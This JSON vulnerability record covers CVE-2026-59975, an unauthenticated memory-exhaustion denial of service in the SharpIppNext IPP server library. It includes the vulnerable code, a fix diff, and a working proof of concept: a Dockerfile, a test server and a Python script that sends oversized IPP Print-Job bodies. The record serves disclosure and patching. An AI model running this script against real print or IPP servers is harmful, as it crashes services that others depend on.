{"id":"CVE-2026-59975","aliases":["GHSA-3h63-w8jq-rrf2"],"url":"https://o3.security/vulnerability/CVE-2026-59975","summary":"SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service","details":"### Summary\n\nSharpIppNext's `IppProtocol.ReadIppRequestAsync()` unconditionally copies the entire attacker-supplied IPP document payload into an unbounded `MemoryStream` with no size limit. Because this behavior is enabled by default (`ReadDocumentStream = true`) and the official server documentation shows `HttpContext.Request.Body` being passed directly to `ReceiveRequestAsync()` without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.\n\n> [!NOTE]\n> This vulnerability only affects server-side implementations (using `SharpIppServer` to parse incoming IPP requests). It does not affect client-side implementations using `SharpIppClient` or client-side request construction.\n\n### Details\n\nThe vulnerable sink is in `SharpIpp/Protocol/IppProtocol.cs`:\n\n```csharp\n// IppProtocol.cs:39 — enabled by default\npublic bool ReadDocumentStream { get; set; } = true;\n\n// IppProtocol.cs:466–470 — no size cap on the copy\nif (ReadDocumentStream)\n{\n    message.Document = new MemoryStream();\n    await reader.BaseStream.CopyToAsync(message.Document);  // unbounded\n    message.Document.Seek(0, SeekOrigin.Begin);\n}\n```\n\nThe full call chain from the public API to the vulnerable sink:\n\n1. `docs/Content/Server/index.md:6–11` — Official server example passes `context.Request.Body` (unauthenticated) to `sharpIppServer.ReceiveRequestAsync(inputStream)`.\n2. `SharpIpp/ISharpIppServer.cs:78` — Public API declaration: `Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...)`.\n3. `SharpIpp/SharpIppServer.cs:62–67` — `ReceiveRequestAsync(Stream)` overload delegates to `ReceiveRawRequestAsync(stream)`.\n4. `SharpIpp/SharpIppServer.cs:52–58` — `ReceiveRawRequestAsync` calls `_ippProtocol.ReadIppRequestAsync(stream, ...)`.\n5. `SharpIpp/Protocol/IppProtocol.cs:466–470` — `ReadIppRequestAsync` copies all remaining bytes after the IPP attribute section into a `new MemoryStream()` with no upper bound.\n\nThe existing validator (`IppRequestMessageValidator.ValidateStringLengthLimitsRule`, `IppRequestMessageValidator.cs:260`) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.\n\nDynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit `185343e`) was sent a 100 MB IPP document payload. The server responded `docLength=104857600`, confirming all 100 MB were buffered into a `MemoryStream` with no rejection.\n\n### PoC\n\n**1. Build and start the vulnerable server**\n\n```bash\n# From the repository root (build context: parent of vuln-001/)\ndocker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \\\n  reports/pypiAi_973_danielklecha__SharpIppNext/\n\ndocker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc\n```\n\nThe PoC server (`Program.cs`) uses the default `SharpIppServer` (which uses `IppProtocol` with `ReadDocumentStream = true`) and exposes a single unauthenticated POST endpoint:\n\n```csharp\nusing SharpIpp;\n\nvar server = new SharpIppServer();\nvar app = WebApplication.Create();\n\napp.MapPost(\"/\", async ctx =>\n{\n    var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);\n    ctx.Response.ContentType = \"text/plain\";\n    await ctx.Response.WriteAsync($\"docLength={req.Document?.Length}\\n\");\n});\n\napp.Run(\"http://0.0.0.0:8631\");\n```\n\n**2. Send the crafted IPP request**\n\n```bash\npython3 vuln-001/poc.py 127.0.0.1 8631 100\n```\n\nThe PoC script (`poc.py`) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.\n\n**3. Expected output**\n\n```\n[*] Target          : http://127.0.0.1:8631/\n[*] IPP header size : 72 bytes\n[*] Document payload: 100 MB (104,857,600 bytes)\n[*] Total request   : 104,857,672 bytes\n\n[*] Sending request...\n[*] HTTP status : 200\n[*] Response    : docLength=104857600\n\n[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.\n[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)\n```\n\nIncreasing `doc_size_mb` (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.\n\n**Recommended fix**\n\nAdd a configurable maximum document size and throw `client-error-request-entity-too-large` when exceeded:\n\n```diff\n--- a/SharpIpp/Protocol/IppProtocol.cs\n+++ b/SharpIpp/Protocol/IppProtocol.cs\n+        public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;\n\n             if (ReadDocumentStream)\n             {\n                 message.Document = new MemoryStream();\n-                await reader.BaseStream.CopyToAsync(message.Document);\n+                await CopyDocumentStreamAsync(reader.BaseStream, message.Document,\n+                    message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);\n                 message.Document.Seek(0, SeekOrigin.Begin);\n             }\n```\n\n### Impact\n\nThis is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to `ReceiveRequestAsync()` or `ReceiveRawRequestAsync()` is vulnerable out of the box, because `ReadDocumentStream` defaults to `true` and no document size limit exists in the library.\n\nAn attacker with network access to the IPP endpoint can:\n\n- Send a single HTTP POST request with an arbitrarily large body to exhaust the server process's heap memory.\n- Trigger an OOM kill or `OutOfMemoryException`, crashing the ASP.NET host process and making the printer/IPP service unavailable.\n- Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client.\n\nOnly consumers of SharpIppNext that expose an IPP server endpoint using `SharpIppServer` (e.g., print servers, document management systems, and IoT firmware) are affected. **Applications acting purely as clients (`SharpIppClient`) to query printers or submit jobs are not affected.**\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS\n#\n# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire\n# attacker-supplied IPP document payload into an unbounded MemoryStream.\n#\n# Affected code (IppProtocol.cs:39, 466-470):\n#   public bool ReadDocumentStream { get; set; } = true;\n#   ...\n#   message.Document = new MemoryStream();\n#   await reader.BaseStream.CopyToAsync(message.Document); // no size limit\n#\n# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)\n#   docker build -t sharpipp-dos-poc \\\n#     -f vuln-001/Dockerfile .\n#\n# Usage:\n#   docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc\n#   python3 vuln-001/poc.py\n\n# ---------------------------------------------------------------------------\n# Build stage: compile the PoC server against the vulnerable SharpIpp library\n# ---------------------------------------------------------------------------\nFROM mcr.microsoft.com/dotnet/sdk:10.0 AS build\n\n# Set up the vulnerable library build environment\nWORKDIR /lib\n\n# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled\n# without TreatWarningsAsErrors (build toolchain compatibility)\nRUN printf '<Project>\\n  <PropertyGroup>\\n    <Nullable>enable</Nullable>\\n    <LangVersion>latest</LangVersion>\\n    <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\\n  </PropertyGroup>\\n</Project>\\n' > Directory.Build.props\n\n# Copy central package versions (required by SharpIpp netstandard2.0 target)\nCOPY repo/Directory.Packages.props ./\n\n# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)\n# IMPORTANT: source is copied unmodified; only the build config above is custom\nCOPY repo/SharpIpp/ ./SharpIpp/\n\n# Set up and build the PoC web server\nWORKDIR /app/server\nCOPY vuln-001/server/ ./\n\nRUN dotnet restore server.csproj\nRUN dotnet publish server.csproj -c Release -o /published\n\n# ---------------------------------------------------------------------------\n# Runtime stage: minimal ASP.NET 10 image\n# ---------------------------------------------------------------------------\nFROM mcr.microsoft.com/dotnet/aspnet:10.0\n\nWORKDIR /app\nCOPY --from=build /published ./\n\nEXPOSE 8631\nENTRYPOINT [\"dotnet\", \"server.dll\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded IPP Document Stream Buffering DoS\nCVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)\n\nVulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-\ncontrolled IPP document payload into a MemoryStream with no size limit:\n\n    if (ReadDocumentStream)   // default: true\n    {\n        message.Document = new MemoryStream();\n        await reader.BaseStream.CopyToAsync(message.Document);  // NO limit\n        message.Document.Seek(0, SeekOrigin.Begin);\n    }\n\nAn unauthenticated attacker sends a valid IPP header followed by an arbitrarily\nlarge document body. The server buffers all bytes in memory, leading to OOM.\n\nUsage:\n    python3 poc.py [host] [port] [doc_size_mb]\n\n    host         Target host (default: 127.0.0.1)\n    port         Target port (default: 8631)\n    doc_size_mb  Document payload size in MB (default: 100)\n\nExpected result:\n    Server responds with \"docLength=<N>\" where N equals doc_size_mb * 1024^2.\n    This confirms all bytes were buffered into MemoryStream with no size check.\n\"\"\"\n\nimport sys\nimport struct\nimport http.client\nimport time\n\n\ndef build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes:\n    \"\"\"Encode a single IPP attribute.\"\"\"\n    return (\n        bytes([tag])\n        + struct.pack(\">H\", len(name))\n        + name\n        + struct.pack(\">H\", len(value))\n        + value\n    )\n\n\ndef build_ipp_request(doc_size_bytes: int) -> bytes:\n    \"\"\"\n    Build a minimal valid IPP/2.0 Print-Job request.\n\n    Wire format:\n        [2]  version-number     0x0200  (IPP 2.0)\n        [2]  operation-id      0x0002  (Print-Job)\n        [4]  request-id        0x00000001\n        [1]  delimiter         0x01    (operation-attributes-tag)\n        [N]  attributes        attributes-charset + attributes-natural-language\n        [1]  delimiter         0x03    (end-of-attributes-tag)\n        [M]  document-data     <arbitrary payload — the attack surface>\n    \"\"\"\n    # IPP header: version 2.0, Print-Job, request-id 1\n    header = struct.pack(\">HHI\", 0x0200, 0x0002, 0x00000001)\n\n    # Operation attributes group\n    attrs = bytes([0x01])  # operation-attributes-tag\n    attrs += build_ipp_attr(0x47, b\"attributes-charset\", b\"utf-8\")\n    attrs += build_ipp_attr(0x48, b\"attributes-natural-language\", b\"en\")\n    attrs += bytes([0x03])  # end-of-attributes-tag\n\n    # Document payload: attacker-controlled bytes after end-of-attributes\n    # CopyToAsync will buffer ALL of these into a MemoryStream\n    document = b\"X\" * doc_size_bytes\n\n    return header + attrs + document\n\n\ndef run_poc(host: str, port: int, doc_size_mb: int) -> bool:\n    \"\"\"\n    Send the crafted IPP request and verify the server echoes the full docLength.\n\n    Returns True (PASS) if the server confirms unbounded buffering.\n    \"\"\"\n    doc_size_bytes = doc_size_mb * 1024 * 1024\n    payload = build_ipp_request(doc_size_bytes)\n\n    ipp_header_len = len(payload) - doc_size_bytes\n    print(f\"[*] Target          : http://{host}:{port}/\")\n    print(f\"[*] IPP header size : {ipp_header_len} bytes\")\n    print(f\"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)\")\n    print(f\"[*] Total request   : {len(payload):,} bytes\")\n    print(f\"[*] Expected docLength in response: {doc_size_bytes}\")\n    print()\n\n    print(f\"[*] Sending request...\")\n    t0 = time.time()\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=180)\n        conn.request(\n            \"POST\",\n            \"/\",\n            body=payload,\n            headers={\n                \"Content-Type\": \"application/ipp\",\n                \"Content-Length\": str(len(payload)),\n            },\n        )\n        response = conn.getresponse()\n        body = response.read().decode(\"utf-8\", errors=\"replace\").strip()\n        elapsed = time.time() - t0\n    except Exception as exc:\n        print(f\"[FAIL] Connection error: {exc}\")\n        return False\n\n    print(f\"[*] HTTP status : {response.status}\")\n    print(f\"[*] Response    : {body}\")\n    print(f\"[*] Round-trip  : {elapsed:.2f}s\")\n    print()\n\n    expected = f\"docLength={doc_size_bytes}\"\n    if expected in body:\n        print(\n            f\"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) \"\n            f\"into MemoryStream with NO size limit.\"\n        )\n        print(\n            f\"[PASS] Vulnerable sink: IppProtocol.cs:469 \"\n            f\"reader.BaseStream.CopyToAsync(message.Document)\"\n        )\n        return True\n    else:\n        print(f\"[FAIL] Expected '{expected}' in response, got: {body!r}\")\n        return False\n\n\ndef main() -> None:\n    host = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631\n    doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100\n\n    success = run_poc(host, port, doc_size_mb)\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-11-18T20:25:07.895Z","modified":"2026-11-19T21:00:16.131249084Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00623,"percentile":0.50672,"asOf":"2026-11-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"NuGet","name":"SharpIppNext","fixedVersion":"4.1.0"}],"fix":{"url":"https://github.com/danielklecha/SharpIppNext/commit/30e236e35f415d5172e178c75030cafd53d150fe","label":"danielklecha/SharpIppNext@30e236e"},"references":[{"type":"WEB","url":"https://github.com/danielklecha/SharpIppNext/releases/tag/v4.1.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59975.json"},{"type":"ADVISORY","url":"https://github.com/danielklecha/SharpIppNext/security/advisories/GHSA-3h63-w8jq-rrf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59975"},{"type":"FIX","url":"https://github.com/danielklecha/SharpIppNext/commit/30e236e35f415d5172e178c75030cafd53d150fe"},{"type":"FIX","url":"https://github.com/danielklecha/SharpIppNext/commit/fe161eb3d6d114aaf9b2f1e42dea55b097257281"},{"type":"PACKAGE","url":"https://github.com/danielklecha/SharpIppNext"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T21:00:16.131249084Z"}}